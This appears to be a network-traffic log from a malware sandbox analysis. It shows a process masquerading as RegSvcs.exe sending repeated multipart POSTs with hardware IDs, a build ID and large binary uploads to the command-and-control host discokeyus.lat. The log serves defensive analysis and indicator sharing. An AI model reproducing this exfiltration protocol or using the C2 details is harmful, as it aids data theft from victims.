2024-12-21 12:18:26 UTC	1369	IN	Data Raw: 33 34 39 61 0d 0a 37 52 61 73 72 6b 34 79 78 6a 77 30 41 76 4d 4b 55 51 47 74 52 71 4a 59 54 59 68 63 5a 50 2f 6b 50 62 39 4b 49 32 4f 73 43 6f 66 76 46 44 33 50 58 59 49 57 66 52 42 6a 74 39 74 6c 38 61 33 69 35 39 7a 39 53 44 7a 31 6a 77 51 35 4f 2b 36 7a 45 6d 69 76 30 35 31 32 58 44 34 75 34 68 59 4d 31 47 4b 44 79 6f 46 78 4c 57 62 69 72 50 6b 63 76 48 55 72 55 53 32 35 72 70 4a 77 4f 4f 2b 79 79 58 66 34 44 2b 71 69 68 6f 69 68 35 6b 50 61 59 65 46 64 78 69 4c 59 76 4e 69 38 74 44 2b 6b 75 55 75 75 45 77 4b 49 6a 69 4f 4e 64 72 78 75 44 69 4b 32 72 59 52 79 74 7a 34 56 38 61 79 69 35 39 7a 2b 36 64 78 30 33 36 43 4c 4b 39 2b 54 41 6f 67 2f 73 79 6c 33 2b 41 2f 71 6f 6f 61 49 6f 65 5a 44 36 6a 45 68 6e 41 59 69 57 50 31 6f 7a 4b 57 50 70 46 6c 72 6e Data Ascii: 349a7Rasrk4yxjw0AvMKUQGtRqJYTYhcZP/kPb9KI2OsCofvFD3PXYIWfRBjt9tl8a3i59z9SDz1jwQ5O+6zEmiv0512XD4u4hYM1GKDyoFxLWbirPkcvHUrUS25rpJwOO+yyXf4D+qihoih5kPaYeFdxiLYvNi8tD+kuUuuEwKIjiONdrxuDiK2rYRytz4V8ayi59z+6dx036CLK9+TAog/syl3+A/qooaIoeZD6jEhnAYiWP1ozKWPpFlrn
2024-12-21 12:18:26 UTC	1369	IN	Data Raw: 75 49 2f 33 57 7a 50 34 4f 30 6b 64 73 46 55 4c 7a 75 73 45 52 58 62 62 69 75 50 33 6f 62 41 43 72 73 4b 6e 4b 4b 69 61 57 4b 6c 30 79 6e 42 61 6f 7a 45 2f 54 6c 75 7a 55 6f 79 4f 4b 34 63 43 39 39 2b 5a 63 47 66 6d 73 64 62 74 52 4b 4e 71 76 55 32 50 63 37 70 66 74 42 73 6a 72 2b 71 4a 47 76 45 53 79 38 33 70 68 6f 56 30 57 73 67 68 64 4f 48 77 55 4c 38 51 4a 36 2f 35 44 73 68 6a 76 38 2f 32 32 54 48 36 65 4e 76 4b 6f 70 42 50 48 50 33 58 79 76 43 61 54 32 43 7a 38 6e 79 53 65 52 62 6a 72 66 79 4e 32 43 76 38 7a 4c 55 5a 63 6e 33 71 6a 41 71 30 77 59 6a 50 2b 39 48 58 64 4a 71 4b 59 7a 59 68 63 39 48 2b 6b 32 51 74 65 67 2f 4d 49 2f 31 4e 74 74 6f 77 2f 58 67 4a 58 62 44 54 79 6b 39 70 77 30 65 6b 69 42 6c 69 4d 66 4c 6d 41 72 48 51 4a 69 32 39 44 77 74 Data Ascii: uI/3WzP4O0kdsFULzusERXbbiuP3obACrsKnKKiaWKl0ynBaozE/TluzUoyOK4cC99+ZcGfmsdbtRKNqvU2Pc7pftBsjr+qJGvESy83phoV0WsghdOHwUL8QJ6/5Dshjv8/22TH6eNvKopBPHP3XyvCaT2Cz8nySeRbjrfyN2Cv8zLUZcn3qjAq0wYjP+9HXdJqKYzYhc9H+k2Qteg/MI/1Nttow/XgJXbDTyk9pw0ekiBliMfLmArHQJi29Dwt
2024-12-21 12:18:26 UTC	1369	IN	Data Raw: 6c 65 77 4f 44 2b 4b 47 72 4d 52 6d 52 39 37 78 42 64 69 6c 64 6c 78 35 2b 30 6a 67 72 74 43 73 50 36 31 7a 49 73 6a 76 63 6f 78 69 33 74 38 50 77 6c 66 34 68 67 49 79 4b 6d 43 52 44 41 4c 6d 76 50 32 63 75 59 47 72 73 4b 6e 36 75 69 61 58 4c 53 71 32 75 45 4e 35 36 31 39 57 46 39 69 6c 42 6b 61 2f 31 52 58 63 41 75 66 63 2b 59 69 4e 4a 59 38 30 6d 4e 75 61 55 50 48 4b 44 37 4b 4e 5a 74 78 65 76 55 45 58 48 4a 53 43 6f 30 75 51 35 64 6e 43 34 71 7a 34 65 79 67 41 4b 31 64 64 58 36 2b 6e 46 36 77 4d 55 39 32 57 37 4a 38 66 74 69 52 4d 46 51 4a 54 36 6b 45 31 2f 54 59 7a 57 49 6e 38 57 41 54 4c 55 53 79 2f 53 69 4e 54 50 41 71 47 36 46 4f 35 75 30 76 58 38 32 31 51 67 39 63 37 6c 66 52 59 41 67 5a 5a 32 66 30 34 41 4e 39 6c 69 4a 76 4f 45 6e 49 63 66 4f 41 Data Ascii: lewOD+KGrMRmR97xBdildlx5+0jgrtCsP61zIsjvcoxi3t8Pwlf4hgIyKmCRDALmvP2cuYGrsKn6uiaXLSq2uEN5619WF9ilBka/1RXcAufc+YiNJY80mNuaUPHKD7KNZtxevUEXHJSCo0uQ5dnC4qz4eygAK1ddX6+nF6wMU92W7J8ftiRMFQJT6kE1/TYzWIn8WATLUSy/SiNTPAqG6FO5u0vX821Qg9c7lfRYAgZZ2f04AN9liJvOEnIcfOA
2024-12-21 12:18:26 UTC	1369	IN	Data Raw: 6e 73 6e 30 71 69 6b 49 31 63 2f 64 50 54 34 6b 37 64 74 69 50 32 64 38 45 37 41 71 4e 2b 72 70 6a 62 4d 44 69 66 6f 38 67 69 65 54 34 50 57 4c 4a 55 43 64 30 6b 53 45 37 30 57 6b 6a 6a 4e 47 63 30 51 6a 61 53 5a 43 32 37 6a 59 30 76 73 34 72 31 47 37 41 34 50 77 2b 4a 49 51 47 4b 33 50 33 4a 6c 33 44 5a 43 4c 44 6c 38 66 52 57 66 74 42 6a 62 32 69 44 6d 7a 41 36 48 36 50 49 50 76 6b 35 43 46 6a 33 46 64 70 46 61 77 59 47 39 46 67 4d 70 36 66 78 59 42 4d 74 52 4c 4a 39 4b 49 31 4d 38 43 6f 62 6f 55 37 6d 37 53 39 66 7a 62 56 43 44 31 7a 75 56 39 46 67 53 42 6c 6e 5a 2f 54 67 41 33 37 52 35 71 35 37 44 49 77 6b 76 59 39 77 57 4f 4a 32 64 51 4b 61 63 64 44 4b 6a 53 52 49 54 7a 59 66 69 69 41 32 4c 58 2b 66 65 52 4e 69 2f 6a 45 4d 6a 53 44 73 48 43 58 65 49 Data Ascii: nsn0qikI1c/dPT4k7dtiP2d8E7AqN+rpjbMDifo8gieT4PWLJUCd0kSE70WkjjNGc0QjaSZC27jY0vs4r1G7A4Pw+JIQGK3P3Jl3DZCLDl8fRWftBjb2iDmzA6H6PIPvk5CFj3FdpFawYG9FgMp6fxYBMtRLJ9KI1M8CoboU7m7S9fzbVCD1zuV9FgSBlnZ/TgA37R5q57DIwkvY9wWOJ2dQKacdDKjSRITzYfiiA2LX+feRNi/jEMjSDsHCXeI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49745	172.67.197.170	443	6748	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:29 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P5TANLSLXSMI1P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12821 Host: discokeyus.lat
2024-12-21 12:18:29 UTC	12821	OUT	Data Raw: 2d 2d 50 35 54 41 4e 4c 53 4c 58 53 4d 49 31 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 37 37 33 30 36 31 37 36 42 42 46 41 35 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 35 54 41 4e 4c 53 4c 58 53 4d 49 31 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 35 54 41 4e 4c 53 4c 58 53 4d 49 31 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4f 50 43 4e 32 4d 2d 2d 53 65 72 67 65 69 0d 0a 2d 2d 50 35 54 41 4e 4c 53 Data Ascii: --P5TANLSLXSMI1PContent-Disposition: form-data; name="hwid"A77306176BBFA58DAC8923850305D13E--P5TANLSLXSMI1PContent-Disposition: form-data; name="pid"2--P5TANLSLXSMI1PContent-Disposition: form-data; name="lid"OPCN2M--Sergei--P5TANLS
2024-12-21 12:18:29 UTC	1136	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 12:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cj6oevd8u96pgfdc8s1401cmef; expires=Wed, 16 Apr 2025 06:05:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bl5dkUXlQPwmpU8UCNdXVbvJE%2B7BDziIfLZXJfvT4qcIXeec23FJ%2FARrMwQrl4l8wyxCPmfwPrV6j3ajPdzMv1ZWIBu0S65BBZkjrLO7ZisVYftA%2BKfK93%2F4rCEd0eI%2BZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57d0a50f855e7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1754&rtt_var=661&sent=12&recv=17&lost=0&retrans=0&sent_bytes=2833&recv_bytes=13755&delivery_rate=1664766&cwnd=233&unsent_bytes=0&cid=36f02582605ae031&ts=1329&x=0"
2024-12-21 12:18:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 12:18:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49750	172.67.197.170	443	6748	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:31 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I52PEKALHBL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15035 Host: discokeyus.lat
2024-12-21 12:18:31 UTC	15035	OUT	Data Raw: 2d 2d 49 35 32 50 45 4b 41 4c 48 42 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 37 37 33 30 36 31 37 36 42 42 46 41 35 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 35 32 50 45 4b 41 4c 48 42 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 35 32 50 45 4b 41 4c 48 42 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4f 50 43 4e 32 4d 2d 2d 53 65 72 67 65 69 0d 0a 2d 2d 49 35 32 50 45 4b 41 4c 48 42 4c 0d 0a 43 6f 6e Data Ascii: --I52PEKALHBLContent-Disposition: form-data; name="hwid"A77306176BBFA58DAC8923850305D13E--I52PEKALHBLContent-Disposition: form-data; name="pid"2--I52PEKALHBLContent-Disposition: form-data; name="lid"OPCN2M--Sergei--I52PEKALHBLCon
2024-12-21 12:18:32 UTC	1139	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 12:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=475g7h2lpi5obn710ttl1ovcu4; expires=Wed, 16 Apr 2025 06:05:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KzeIYNJF5frfFru1eTaI7xxrbKnR1S%2BKzNUJewu%2FXh%2FwjHaqexES3FZRhB7Og%2Bm%2BRK7h9O7C%2BOZlyNDdSHzfmZMyN8qkdfQ6jKf6KBrP4g%2B3%2BnZ4W7Rs46L75HsqmB5IBA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57d0b1ed6942ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1772&min_rtt=1772&rtt_var=666&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2832&recv_bytes=15966&delivery_rate=1641371&cwnd=252&unsent_bytes=0&cid=5e3d19b83cc147e8&ts=846&x=0"
2024-12-21 12:18:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 12:18:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49756	172.67.197.170	443	6748	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:33 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4YG2T3MJRWG9I737Y3O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20408 Host: discokeyus.lat
2024-12-21 12:18:33 UTC	15331	OUT	Data Raw: 2d 2d 34 59 47 32 54 33 4d 4a 52 57 47 39 49 37 33 37 59 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 37 37 33 30 36 31 37 36 42 42 46 41 35 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 59 47 32 54 33 4d 4a 52 57 47 39 49 37 33 37 59 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 59 47 32 54 33 4d 4a 52 57 47 39 49 37 33 37 59 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4f 50 43 4e 32 4d 2d 2d 53 65 Data Ascii: --4YG2T3MJRWG9I737Y3OContent-Disposition: form-data; name="hwid"A77306176BBFA58DAC8923850305D13E--4YG2T3MJRWG9I737Y3OContent-Disposition: form-data; name="pid"3--4YG2T3MJRWG9I737Y3OContent-Disposition: form-data; name="lid"OPCN2M--Se
2024-12-21 12:18:33 UTC	5077	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 Data Ascii: (X6K~`iO\_,mi`m?ls}Q
2024-12-21 12:18:34 UTC	1139	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 12:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0piigrcpnd2j6u2c84luk8sdbn; expires=Wed, 16 Apr 2025 06:05:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=43exPfpbh%2BiAGRfdBpK9dFOl%2FuT%2Fi3tRV%2BnSlVwMR4N7WBO3S2ZUBzDDcdQRMX%2Br9G0EmUtoPdUfxzGj2VxabFhI35ckZhjh%2Fl2edEwFhzGzaLkRP%2F%2BOeCLTnzP6HMiLSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57d0c10b644358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1622&min_rtt=1598&rtt_var=616&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21369&delivery_rate=1827284&cwnd=206&unsent_bytes=0&cid=d4faa3c06203f655&ts=989&x=0"
2024-12-21 12:18:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 12:18:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49762	172.67.197.170	443	6748	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:35 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IOSLEP4CTXEM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1235 Host: discokeyus.lat
2024-12-21 12:18:35 UTC	1235	OUT	Data Raw: 2d 2d 49 4f 53 4c 45 50 34 43 54 58 45 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 37 37 33 30 36 31 37 36 42 42 46 41 35 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 4f 53 4c 45 50 34 43 54 58 45 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 4f 53 4c 45 50 34 43 54 58 45 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4f 50 43 4e 32 4d 2d 2d 53 65 72 67 65 69 0d 0a 2d 2d 49 4f 53 4c 45 50 34 43 54 58 45 4d 0d Data Ascii: --IOSLEP4CTXEMContent-Disposition: form-data; name="hwid"A77306176BBFA58DAC8923850305D13E--IOSLEP4CTXEMContent-Disposition: form-data; name="pid"1--IOSLEP4CTXEMContent-Disposition: form-data; name="lid"OPCN2M--Sergei--IOSLEP4CTXEM
2024-12-21 12:18:36 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 12:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vanoan8fqtos449evhl56eg5os; expires=Wed, 16 Apr 2025 06:05:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aDw4QJhWLFnAT9%2BtDBDkbMdbCIIY%2BpBS3HAtvpT04lBlGnuE84AF9b6Uyi0%2B0k%2FXqB5DD%2F0Gnl273Vhw6ux5RWRTWF20ZZpV4nJj8jQCiDdCdztmc7jikDL9kfHrrG1QEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57d0cf9cfc7cfc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&min_rtt=2013&rtt_var=770&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2144&delivery_rate=1408586&cwnd=223&unsent_bytes=0&cid=124569eb575f3464&ts=795&x=0"
2024-12-21 12:18:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 12:18:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49768	172.67.197.170	443	6748	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:38 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VOVVNMP8HPSWYU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 425349 Host: discokeyus.lat
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: 2d 2d 56 4f 56 56 4e 4d 50 38 48 50 53 57 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 37 37 33 30 36 31 37 36 42 42 46 41 35 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 4f 56 56 4e 4d 50 38 48 50 53 57 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 4f 56 56 4e 4d 50 38 48 50 53 57 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4f 50 43 4e 32 4d 2d 2d 53 65 72 67 65 69 0d 0a 2d 2d 56 4f 56 56 4e 4d 50 Data Ascii: --VOVVNMP8HPSWYUContent-Disposition: form-data; name="hwid"A77306176BBFA58DAC8923850305D13E--VOVVNMP8HPSWYUContent-Disposition: form-data; name="pid"1--VOVVNMP8HPSWYUContent-Disposition: form-data; name="lid"OPCN2M--Sergei--VOVVNMP
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: cb a7 38 f5 b5 1f 67 30 61 2c 99 04 f5 75 07 26 72 39 d1 bb 2c 5c 7c b2 2e b7 b9 c7 67 d6 8b 8c f5 47 4a 26 0b 89 3a bc f3 fb c6 c6 59 76 93 96 13 11 f0 3f 3b b1 cf 7b ff 18 f4 b6 25 d8 9b 0b 38 51 e5 86 3c f9 1d ea d9 77 1e 08 ca 4f 04 b1 ae fe 05 32 cd 45 ce d1 21 4a 91 de f1 d5 4c 83 3a 8b dd 39 c5 f5 bb 05 a4 32 c5 61 e4 78 d8 ad 2f d1 18 f9 d6 c3 dd 90 21 65 18 6a 80 8f 9a f8 e8 e8 1c 25 29 2d f4 e8 85 48 8e 4f 87 84 d3 68 9c 5c 27 a5 50 fb 92 45 f7 a8 83 61 06 3d ae 3f e2 c6 a4 4a 97 b5 b6 62 ec a5 5a 57 3b 17 eb 27 6e 87 b7 62 ab 76 89 6a 69 cb c7 8a 7d 47 4d 07 ed 06 83 83 27 a7 57 96 f6 0d b7 27 76 9d ef 68 c9 04 fe 0c ae 58 63 a1 05 0f 05 ef 1d 9d a5 cc 34 29 76 19 c4 b6 25 c7 27 a6 3f 11 9b 56 23 9b a8 82 12 33 dc b5 b1 9e 61 44 82 c0 47 c4 e6 Data Ascii: 8g0a,u&r9,\\|.gGJ&:Yv?;{%8Q<wO2E!JL:92ax/!ej%)-HOh\'PEa=?JbZW;'nbvji}GM'W'vhXc4)v%'?V#3aDG
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: cb 23 9e 93 c3 bf 27 f7 0f 04 18 2c e3 ab c4 d1 e9 92 ac 3a aa 7e 3a 3a 77 26 df 1e 71 bc cf 61 09 57 b1 d7 9a 32 b0 b6 4e 89 08 f2 df bd 6f 64 bb d3 a9 90 3f b7 21 48 b9 49 ad 39 c1 0b d8 eb c3 47 c6 36 b9 ee 71 27 e4 e8 a5 2b 86 30 d3 cf 49 81 75 81 a7 92 a4 17 cd e4 4a 84 bd c0 d1 8a 24 50 31 0f c6 54 53 2b 99 2b d2 af 67 a5 6f 80 4d a9 b9 2b 01 86 18 73 ea e0 78 e8 9b a6 00 16 56 6e ce 9b f2 49 30 80 e5 78 fa fc b6 48 58 7d 44 6f 09 6b 51 c0 b1 d2 d7 61 18 c1 fb e0 73 06 df ce d5 b4 d0 64 2e 04 6d 7a d7 c4 63 11 82 41 ab 20 51 22 28 d4 81 37 9d 7b fa 02 b0 3d 41 c0 fb 97 30 58 47 f4 d3 22 cc 6a 34 6b 61 90 b1 6d 18 42 24 ac 98 d5 93 18 1c f2 00 61 08 64 86 eb 32 0c 00 da 3e 27 c6 87 fe 48 8c 3b 5d fc e6 c0 b0 b4 06 a4 37 4a 7e 9c 97 da b8 df 06 46 2d Data Ascii: #',:~::w&qaW2Nod?!HI9G6q'+0IuJ$P1TS++goM+sxVnI0xHX}DokQasd.mzcA Q"(7{=A0XG"j4kamB$ad2>'H;]7J~F-
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: 2a 78 00 37 87 e3 c9 19 ca f0 a0 49 4b 7e 08 ae 18 bd 66 c2 0f 19 d3 ea 52 d4 3b bf b9 f6 88 1f 68 25 ce 55 17 f9 40 49 9e 6b 47 a6 bb d5 c7 57 b4 81 99 85 67 eb 3b ef 29 dd 18 d7 ab 4a 23 e6 e8 32 d5 2a e2 88 ea 03 84 15 03 52 fd e5 31 a6 47 eb d1 40 c5 5e 13 d2 84 5f 0b 63 a2 8a 60 c2 87 d2 58 38 40 ce ef 31 8d 5a 3a 43 6c ab d1 da 1b 3f 56 72 cc 67 b8 2d ae 7f d7 68 5b 67 50 30 55 98 61 d6 39 8e 99 4b fd 8b 53 76 27 32 21 6c a6 23 9b 19 ff ee 68 6a fc bf 2b e8 62 67 39 14 28 11 88 1f b7 bd ce 14 f5 2f 30 19 9f 87 16 ab 57 1f 54 17 d2 ae b3 28 8f 31 d3 c1 b1 39 ec ea 8d 95 8f 95 56 bb 41 eb b8 2d fa ce dc d3 74 1c f7 9b 74 b7 06 f8 f0 75 ab 4f 